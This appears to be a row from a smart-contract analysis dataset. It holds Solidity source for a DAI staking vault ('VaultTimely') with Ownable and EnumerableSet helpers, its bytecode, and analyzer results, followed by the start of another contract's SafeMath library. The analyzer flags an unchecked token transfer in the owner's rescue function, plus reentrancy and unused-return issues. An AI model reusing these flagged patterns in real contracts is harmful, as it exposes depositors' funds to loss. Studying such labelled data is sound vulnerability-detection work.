// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VaultTimely is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// trusted deposit token contract address (DAI)
address public constant trustedDepositTokenAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
// trusted reward token contract address (UNOS)
address public constant trustedRewardTokenAddress = 0xd18A8abED9274eDBEace4B12D86A8633283435Da;
// reward rate
uint public rewardRatePercentX100 = 24e2;
uint public constant rewardInterval = 365 days;
uint public cliffTime = 72 hours;
uint public withdrawFeePercentX100 = 50;
uint public totalClaimedRewards = 0;
uint public vaultDuration = 365 days;
// admin can transfer out reward tokens from this contract one month after vault has ended
uint public adminCanClaimAfter = 395 days;
uint public vaultDeployTime;
uint public adminClaimableTime;
uint public vaultEndTime;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
constructor () public {
vaultDeployTime = now;
vaultEndTime = vaultDeployTime.add(vaultDuration);
adminClaimableTime = vaultDeployTime.add(adminCanClaimAfter);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint _now = now;
if (_now > vaultEndTime) {
_now = vaultEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount
.mul(rewardRatePercentX100)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// emergency withdraw without caring about pending earnings
// pending earnings will be lost / set to 0 if used emergency withdraw
function emergencyWithdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// set pending earnings to 0 here
lastClaimedTime[msg.sender] = now;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out deposit tokens from this smart contract
// Admin can transfer out reward tokens from this address once adminClaimableTime has reached
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out Deposit Tokens from this contract!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063ce86431211610097578063d7130e1411610071578063d7130e1414610746578063e178905a14610764578063f2fde38b14610782578063f3f91fa0146107c65761018e565b8063ce864312146106ec578063d1b965f31461070a578063d578ceab146107285761018e565b806398896d10146105b4578063b410fdaa1461060c578063b6b55f251461062a578063bec4de3f14610658578063c326bf4f14610676578063ca7e0835146106ce5761018e565b806346c648731161014b57806354f1c43f1161012557806354f1c43f146104865780636270cd18146104a45780636a395ccb146104fc5780638da5cb5b1461056a5761018e565b806346c64873146103f65780634e71d92d1461044e5780635312ea8e146104585761018e565b806305447d25146101935780630f1a6444146102f85780631cfa8021146103165780632e1a7d4d14610360578063308feec31461038e57806331a5dda1146103ac575b600080fd5b6101c9600480360360408110156101a957600080fd5b81019080803590602001909291908035906020019092919050505061081e565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102185780820151818401526020810190506101fd565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561025a57808201518184015260208101905061023f565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561029c578082015181840152602081019050610281565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102de5780820151818401526020810190506102c3565b505050509050019850505050505050505060405180910390f35b610300610b37565b6040518082815260200191505060405180910390f35b61031e610b3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050610b55565b005b610396611092565b6040518082815260200191505060405180910390f35b6103b46110a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104386004803603602081101561040c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bb565b6040518082815260200191505060405180910390f35b6104566110d3565b005b6104846004803603602081101561046e57600080fd5b81019080803590602001909291905050506110de565b005b61048e611656565b6040518082815260200191505060405180910390f35b6104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b6040518082815260200191505060405180910390f35b6105686004803603606081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611674565b005b6105726118d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f6600480360360208110156105ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f8565b6040518082815260200191505060405180910390f35b610614611acc565b6040518082815260200191505060405180910390f35b6106566004803603602081101561064057600080fd5b8101908080359060200190929190505050611ad2565b005b610660611dd7565b6040518082815260200191505060405180910390f35b6106b86004803603602081101561068c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddf565b6040518082815260200191505060405180910390f35b6106d6611df7565b6040518082815260200191505060405180910390f35b6106f4611dfd565b6040518082815260200191505060405180910390f35b610712611e03565b6040518082815260200191505060405180910390f35b610730611e09565b6040518082815260200191505060405180910390f35b61074e611e0f565b6040518082815260200191505060405180910390f35b61076c611e15565b6040518082815260200191505060405180910390f35b6107c46004803603602081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1b565b005b610808600480360360208110156107dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f6c565b6040518082815260200191505060405180910390f35b60608060608084861061083057600080fd5b60006108458787611fa090919063ffffffff16565b905060608167ffffffffffffffff8111801561086057600080fd5b5060405190808252806020026020018201604052801561088f5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156108ab57600080fd5b506040519080825280602002602001820160405280156108da5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156108f657600080fd5b506040519080825280602002602001820160405280156109255781602001602082028036833780820191505090505b50905060608467ffffffffffffffff8111801561094157600080fd5b506040519080825280602002602001820160405280156109705781602001602082028036833780820191505090505b50905060008b90505b8a811015610b1c57600061099782600a611fb790919063ffffffff16565b905060006109ae8e84611fa090919063ffffffff16565b9050818782815181106109bd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610a4357fe5b602002602001018181525050600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610a9b57fe5b602002602001018181525050600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610af357fe5b6020026020010181815250505050610b15600182611f8490919063ffffffff16565b9050610979565b50838383839850985098509850505050505092959194509250565b60025481565b736b175474e89094c44da98b954eedeac495271d0f81565b60008111610bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610c8933611fd1565b6000610cb4612710610ca66003548561229390919063ffffffff16565b6122c290919063ffffffff16565b90506000610ccb8284611fa090919063ffffffff16565b9050736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d8957600080fd5b505af1158015610d9d573d6000803e3d6000fd5b505050506040513d6020811015610db357600080fd5b8101908080519060200190929190505050610e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ed157600080fd5b505af1158015610ee5573d6000803e3d6000fd5b505050506040513d6020811015610efb57600080fd5b8101908080519060200190929190505050610f7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610fd083600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102733600a6122db90919063ffffffff16565b801561107257506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561108d5761108b33600a61230b90919063ffffffff16565b505b505050565b600061109e600a61233b565b905090565b73d18a8abed9274edbeace4b12d86a8633283435da81565b600d6020528060005260406000206000915090505481565b6110dc33611fd1565b565b60008111611154576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74207769746864726177203020546f6b656e73000000000000000081525060200191505060405180910390fd5b80600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b42600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061127861271061126a6003548561229390919063ffffffff16565b6122c290919063ffffffff16565b9050600061128f8284611fa090919063ffffffff16565b9050736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561134d57600080fd5b505af1158015611361573d6000803e3d6000fd5b505050506040513d602081101561137757600080fd5b81019080805190602001909291905050506113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149557600080fd5b505af11580156114a9573d6000803e3d6000fd5b505050506040513d60208110156114bf57600080fd5b8101908080519060200190929190505050611542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61159483600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fa090919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115eb33600a6122db90919063ffffffff16565b801561163657506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156116515761164f33600a61230b90919063ffffffff16565b505b505050565b60075481565b600f6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116cd57600080fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c8152602001806125b2603c913960400191505060405180910390fd5b73d18a8abed9274edbeace4b12d86a8633283435da73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806117b6575060085442115b61180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806125ee602c913960400191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561189257600080fd5b505af11580156118a6573d6000803e3d6000fd5b505050506040513d60208110156118bc57600080fd5b810190808051906020019092919050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061190e82600a6122db90919063ffffffff16565b61191b5760009050611ac7565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561196c5760009050611ac7565b6000804290506009548111156119825760095490505b80600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119d15760009150611a26565b611a23600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611fa090919063ffffffff16565b91505b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611abd612710611aaf6301e13380611aa188611a936001548961229390919063ffffffff16565b61229390919063ffffffff16565b6122c290919063ffffffff16565b6122c290919063ffffffff16565b9050809450505050505b919050565b60015481565b60008111611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b736b175474e89094c44da98b954eedeac495271d0f73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611c1757600080fd5b505af1158015611c2b573d6000803e3d6000fd5b505050506040513d6020811015611c4157600080fd5b8101908080519060200190929190505050611cc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611ccd33611fd1565b611d1f81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7633600a6122db90919063ffffffff16565b611dd457611d8e33600a61235090919063ffffffff16565b5042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6301e1338081565b600c6020528060005260406000206000915090505481565b60085481565b60095481565b60035481565b60045481565b60065481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611eae57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e6020528060005260406000206000915090505481565b600080828401905083811015611f9657fe5b8091505092915050565b600082821115611fac57fe5b818303905092915050565b6000611fc68360000183612380565b60001c905092915050565b6000611fdc826118f8565b9050600081111561224b5773d18a8abed9274edbeace4b12d86a8633283435da73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561208257600080fd5b505af1158015612096573d6000803e3d6000fd5b505050506040513d60208110156120ac57600080fd5b810190808051906020019092919050505061212f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61218181600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8490919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121d981600454611f8490919063ffffffff16565b6004819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806122b25750828482816122af57fe5b04145b6122b857fe5b8091505092915050565b6000808284816122ce57fe5b0490508091505092915050565b6000612303836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612403565b905092915050565b6000612333836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612426565b905092915050565b60006123498260000161250e565b9050919050565b6000612378836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61251f565b905092915050565b6000818360000180549050116123e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806125906022913960400191505060405180910390fd5b8260000182815481106123f057fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114612502576000600182039050600060018660000180549050039050600086600001828154811061247157fe5b906000526020600020015490508087600001848154811061248e57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806124c657fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612508565b60009150505b92915050565b600081600001805490509050919050565b600061252b8383612403565b612584578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612589565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574204465706f73697420546f6b656e732066726f6d207468697320636f6e74726163742141646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732079657421a2646970667358221220cef6966f18cc7a68eecc2745774b1784149eac43612200a5cef6798560ebda1364736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,390 |
0x7F5F128Ec1b9e387e758428e860cED6C403811EA
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
